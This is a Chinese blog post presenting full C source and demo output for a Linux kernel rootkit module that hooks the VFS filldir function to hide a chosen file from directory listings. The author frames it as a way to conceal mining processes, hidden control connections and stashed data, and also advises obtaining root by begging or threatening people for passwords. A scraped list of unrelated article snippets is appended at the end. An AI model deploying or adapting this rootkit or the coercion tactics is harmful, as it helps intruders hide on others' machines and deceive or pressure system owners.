自隐藏进程,隐藏CPU利用率,隐藏TCP连接后,现在要隐藏文件了!

关于进程隐藏,CPU利用率隐藏,TCP连接隐藏的手艺,请看:
https://blog.csdn.net/dog250/article/details/105371830
https://blog.csdn.net/dog250/article/details/105394840

一般情况下,运维系统依靠CPU利用率来生成告警,CPU利用率被隐藏了,还怎么办?试想,你的挖矿进程已经把CPU跑满,且这些进程被隐藏了,且CPU利用率也被隐藏了,一切看起来很祥和,但是系统就是卡得要死…甚至风扇也被hack了…

这个时候,你需要一条TCP连接从外部控制你的进程,呃…这条TCP连接也隐藏了…此时,你需要把数据暂存在这台机器的磁盘上,如何不被发现?

呃…这就需要隐藏文件了。

经理呢?经理呢?来吧!

文件隐藏和进程隐藏,CPU利用率隐藏这些完全不同,因为文件本身并不属于操作系统的一部分,它是属于文件系统的,操作系统通过文件系统驱动以及必要情况下的磁盘驱动和文件打交道。

文件并不像进程那样,处在操作系统内存的数据结构中并被操作系统内核管理,文件是被特定文件系统管理的,每一种文件系统都有不同的文件布局格式,换句话说, 文件接受文件系统的庇护。

我们知道, 领主的领主,不是我的领主;附庸的附庸,不是我的附庸。 所以,我们只需要hook文件系统即可。如果非要在底层文件系统甚至磁盘上做文章,未免太复杂,也没必要。

在Linux内核中, VFS是盖在所有文件系统上的一个界面! 显然,我就拿它开刀了!

原理很简单,只要hook掉filldir这个函数即可咯。

// hide_file.c
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>char *stub;struct linux_dirent {unsigned long   d_ino;unsigned long   d_off;unsigned short  d_reclen;char        d_name[1];
};struct getdents_callback {struct linux_dirent __user * current_dir;struct linux_dirent __user * previous;int count;int error;
};// 该函数不要inline,这是为了避免寄存器的胡乱使用,从而flush掉原始的filldir函数的寄存器。
noinline int stub_filldir(void * __buf, const char * name, int namelen, loff_t offset,u64 ino, unsigned int d_type)
{// 使用char数组的话,需要strncmp函数调用,这就需要校准偏移了,麻烦//char shoe[8] = {'s', 'k', 'i', 'n', 's', 'h', 'o', 'e'};//if (!strncmp(name, shoe, namelen))  {// 直接使用"skinshoe"的话,常量字符串会随着模块的退出而释放,放弃//if (!strncmp(name, "skinshoe", namelen))  {// 直接逐字符比较,作为demo,够了!// 最好的方法还是将“皮鞋”藏在某些不为人知的缝隙里if (name[0] == 's' && name[1] == 'k' && name[2] == 'i' &&name[3] == 'n' && name[4] == 's' && name[5] == 'h' &&name[6] == 'o' && name[7] == 'e') {struct linux_dirent __user * dirent = NULL;struct getdents_callback * buf = (struct getdents_callback *) __buf;int reclen = ALIGN(offsetof(struct linux_dirent, d_name) + namelen + 2, sizeof(long));// skip掉skinshoe这个文件。dirent = (void __user *)dirent + reclen;buf->current_dir = dirent;return 0;}return 1;
}int call_stub(void * __buf, const char * name, int namelen, loff_t offset,u64 ino, unsigned int d_type)
{int ret;asm ("push %rdi; push %rsi; push %rdx; push %rcx; push %r8; push %r9;");ret = stub_filldir(__buf, name, namelen, offset, ino, d_type);if (!ret)asm ("pop %r9; pop %r8; pop %rcx; pop %rdx; pop %rsi; pop %rdi; pop %rbp; pop %r11; xor %eax,%eax; retq");asm ("pop %r9; pop %r8; pop %rcx; pop %rdx; pop %rsi; pop %rdi;");return ret;
}static int hide = 1;
module_param(hide, int, 0444);#define FTRACE_SIZE       5
#define POKE_OFFSET     0
#define POKE_LENGTH     5#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,unsigned long start, unsigned long end, gfp_t gfp_mask,pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;char *_filldir;
char restore[5] = {0x0f, 0x1f, 0x44, 0x00, 0x00};static int __init filter_file_init(void)
{unsigned char jmp_call[POKE_LENGTH];s32 offset;unsigned long delta = 0x62;unsigned int *pos  ;_filldir = (void *)kallsyms_lookup_name("filldir");if (!_filldir) {return -1;}___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");_text_mutex = (void *)kallsyms_lookup_name("text_mutex");if (!_text_poke_smp || !_text_mutex) {return -1;}if (hide == 0) {// 通过ftrace stub获取动态内存的偏移offset = *(unsigned int *)&_filldir[1];stub = (char *)(offset + (unsigned long)_filldir + FTRACE_SIZE);offset = call_stub - stub_filldir;stub = stub - offset;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&_filldir[POKE_OFFSET], &restore[0], POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();// 释放内存vfree(stub);return -1;}stub = (void *)___vmalloc_node_range(0xfff, 1, START, END,GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,-1, __builtin_return_address(0));if (!stub) {printk("nomem\n");return -1;}// 模块退出后函数被释放,所以需要拷贝到独立内存里。memcpy(stub, stub_filldir, 0xfff);pos = (unsigned int *)&stub[delta];offset = call_stub - stub_filldir;offset = (s32)((long)stub - (long)_filldir - FTRACE_SIZE + offset);jmp_call[0] = 0xe8;(*(s32 *)(&jmp_call[1])) = offset;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&_filldir[POKE_OFFSET], jmp_call, POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();// 事了拂衣去,深藏身与名!return -1;
}
// 不需要exit函数!
module_init(filter_file_init);
MODULE_LICENSE("GPL");

编译成hide_file.ko,来吧,一起看看效果:隐藏名字为skinshoe的文件:

[root@localhost hidefile]# ls   # 未加载模块,可以看到skinshoe
a  afile  b  c  hide_file.ko  skinshoe  test  wu
[root@localhost hidefile]# cat skinshoe    # 可以读出skinshoe的内容
1111
[root@localhost hidefile]# insmod ./hide_file.ko   # 加载模块,隐藏skinshoe
insmod: ERROR: could not insert module ./hide_file.ko: Operation not permitted
[root@localhost hidefile]# ls  # 确认文件被隐藏,确实看不到了
a  afile  b  c  hide_file.ko  test  wu
[root@localhost hidefile]# cat skinshoe    # 然而依然可以被打开并读取内容
1111
[root@localhost hidefile]# echo 2222 >>./skinshoe    # 追加点内容试试
[root@localhost hidefile]# ls  # 依然看不到skinshoe
a  afile  b  c  hide_file.ko  test  wu
[root@localhost hidefile]# insmod ./hide_file.ko hide=0   # 恢复skinshoe的显示
insmod: ERROR: could not insert module ./hide_file.ko: Operation not permitted
[root@localhost hidefile]# ls  # 确认一下,确实看到了
a  afile  b  c  hide_file.ko  skinshoe  test  wu
[root@localhost hidefile]# cat skinshoe    # 确认内容,隐藏期间的追加成功了!
1111
2222
[root@localhost hidefile]#

有趣吗?

你可能会说,这也没隐藏啊,不是还是可以读写吗?

难道这件事不就是为了 只有我能读写而别人不能 吗?诚然,skinshoe这个文件名很简单,但是有几个人能猜出来呢?如果我隐藏一个名字为 “796dehwif8fq99urhdkda” 的文件,谁又能知道呢?我自己知道就行。

我当然没有把事情做全,我知道,完全可以继续hook掉VFS的open操作,比如只有特定名字的进程才能打开这个文件,而这个进程已经被我隐藏了… 事情就更有趣了。

这一切的前提,依然是你有root权限,所以这些都是rootkit!至于说如何获取root权限,这便是另一个话题了。

据我所知,社会工程学攻击更适合于获取root权限,而不是通过挖洞技术。你甚至只需要10分钟的root权限,在无眼线的情况下就能把上述以及前文介绍的这些rootkit手艺部署完成。

关于社会工程学,这又是一个很大的话题,正如我一向很认可的那种方式,获取密码的最好方式就是 直接问 ,哀求,威胁,伪善如果好用,就不去折腾那些纸上谈兵的所谓破解技术。当然了,程序员并不认可我说的这些,程序员还是除了技术皆为粪土的,这次,我好像和经理站成了一队。

最后,谈谈实用性。

我这些rootkit实用吗?也许吧。但我这些皆在展示手艺,如果你想实用,网上一搜一箩筐的preload library可用,现实中机器被入侵被注入的大多数也都是这些,如果往内核里走,hook operations也是一搜一箩筐的。但无论哪个,均需要繁重的编程工作,极大的代码量作为保证。

我之所以不选择这些,因为我不会编程,但是也不是一点都不会,还稍微会一些,所以我只能用一些奇技淫巧,见招拆招地做一些小动作,小把戏。我老婆问我天天折腾的这些有什么意义,我说, “我这是不用编程而修改操作系统了”

当然,碰到CFI【控制流完整性,Control-flow integrity】,还是有一些工作需要去做,下面是一篇lwn:
https://lwn.net/Articles/810077/

唉,冯诺伊曼结构就是这样,存储执行模型天生的弊端,需要后面各种机制来不断patch,如果是哈佛结构,是不是要好很多?也许吧。经理!你说呢?你知道我在说什么吗?


浙江温州皮鞋湿,下雨进水不会胖。

Linux系统如何隐藏一个文件?相关推荐

  1. 假设Linux系统中不存在文件newfile,现要创建一个新文件newfile,以下哪个命令无法实现该功能。...

    要创建一个新文件newfile,可以使用Linux系统中的touch命令.例如: touchnewfile 这样就可以在Linux系统中创建一个名为newfile的空文件了. 如果使用的是cp命令,那 ...

  2. mysql隐藏密码_MySQL在Linux系统中隐藏命令行中的密码的方法

    在命令行中输入命令并不是一个好主意,会造成安全问题.但是如果你决定去写一个应用,而这个应用需要在命令行中使用密码或者其他敏感信息.那么,你能通过以下方法禁止系统的其他用户轻易的看到这些敏感数据 呢?, ...

  3. linux下分割文件的方法,关于linux系统下分割大文件的方法

    <关于linux系统下分割大文件的方法>由会员分享,可在线阅读,更多相关<关于linux系统下分割大文件的方法(4页珍藏版)>请在人人文库网上搜索. 1.关于 linux系统下 ...

  4. zypper 删除mysql_如何在 Linux 上安装/卸载一个文件中列出的软件包?

    原标题:如何在 Linux 上安装/卸载一个文件中列出的软件包? 我们可以手动去安装这些软件但是这将花费大量的时间.你可以手动安装一俩个服务器,但是试想如果你有大概十个服务器呢.在这种情况下你无法手动 ...

  5. Linux下的32位C程序,linux系统c语言生成.so文件,生成64位可执行文件,在64位系统中运行32位的可执行文件...

    1.linux 系统c语言生成.o文件,---->gcc -m64 -c -fPIC test.c -o test.o 2.linux 系统c语言生成.so文件,----->gcc -sh ...

  6. 在linux终端中重命名文件,Linux系统中重命名文件的方法有哪些

    今天小编要跟大家分享的文章是关于Linux系统中重命名文件的方法有哪些.正在从事Linux运维工作和学习Linux运维知识的小伙伴们来和小编一起看一看吧,希望本篇文章能够对大家有所帮助. 在Linux ...

  7. 通过Xshell7连接云服务Linux系统级上传文件

    通过Xshell7连接云服务Linux系统级上传文件 前提准备条件: 1.有一台云服务实例 2.云服务安装了CentOS 7.8 64位系统(根据自己系统环境) 3.记住云服务实例的用户名和密码(忘记 ...

  8. linux 大文件按照大小切割,关于linux系统下分割大文件的方法

    关于linux系统下分割大文件的方法 在linux中分割大文件,比如一个5gb日志文件,需要把它分成多个小文件,分割后以利于普通的文本编辑器读取. 有时,需要传输20gb的大文件到另一台服务器,也需要 ...

  9. CentOS Linux系统下swp,swo文件扩展名临时隐藏文件

    CentOS Linux系统下swp,swo文件扩展名的隐藏文件 系统版本: CentOS Linux 6.8 场景: 今天巡检oracle系统的时候,发现/home目录大小超过80%,因一般不允许超 ...

  10. 在Linux系统中实现一个可加载的内核模块

    Intro 坐标成都电讯大专, 某操作系统课老师在PPT上草草写下3个内核线程API后就要求编程, 感受一下: include/linux/kthread.h,你就看到了它全部的API,一共三个函数. ...

最新文章

  1. 定了!对于本周四(7.16日)抽奖活动取消简要说明,新抽奖活动暂定下周三(7.22日)...
  2. 腾讯Techo开发者大会揭晓云存储发展趋向:高性能、高可用、高性价比
  3. NOI数学:大步小步(Baby Step Giant Step,BSGS)算法
  4. pid算法matlab仿真程序和c程序,pid算法matlab仿真程序和c程序.doc
  5. 怎么在html中加横条,如何在HTML中插入一行?html横线标签hr全新讲解
  6. 陪孩子一起学习python
  7. 路由器与交换机的基本工作原理
  8. 【BUUCTF】[WUSTCTF2020]alison_likes_jojo
  9. Kube-OVN:大型银行技术团队推荐的金融级云原生网络方案
  10. 《富爸爸穷爸爸》精髓:穷人思维和富人思维的区别
  11. ISO8583报文协议 2013-10-16 10:44 563人阅读 评论(0) 收藏...
  12. Java HotSpot(TM) 64-Bit Server VM warning:Options -Xverify:none and -noverify were deprecated in ..
  13. Drools从入门到精通
  14. WebService(腾讯QQ在线状态 WEB 服务)
  15. win10图标变白纸_同是Office365,为什么你的软件图标还是旧版的?
  16. 查询rssi指令_你的 iPhone 信号有多差?教你一招查询信号强度
  17. Kibana--KQL查询语法的使用
  18. 基础邮件原理(MUA,MTA,MDA)
  19. 输入文本就可建模渲染了?!OpenAI祭出120亿参数魔法模型!
  20. js实现二分查找(二分搜索)

热门文章

  1. CSS3——渐变(线性渐变、径向渐变、重复性渐变)
  2. 说说技术总监的三板斧(十年肺腑之言)
  3. 《从0开始做运营[张亮]》——读书笔记
  4. 【人在运维囧途_08】淘宝内部大量使用的开源系统监控工具--Tsar
  5. 从劳动分工的角度理解CPU、FPGA和ASIC
  6. International Collegiate Programming Contest, Egyptian Collegiate Programming Contest (ECPC 2018)
  7. 微信公众账号开发教程(四)自定义菜单(含实例源码)——转自http://www.cnblogs.com/yank/p/3418194.html...
  8. Bootstrap-table 如何合并相同单元格
  9. 【LabVIEW】基于LabVIEW的俄罗斯方块小游戏
  10. EOJ 2706 Fenwick Tree 树状数组找规律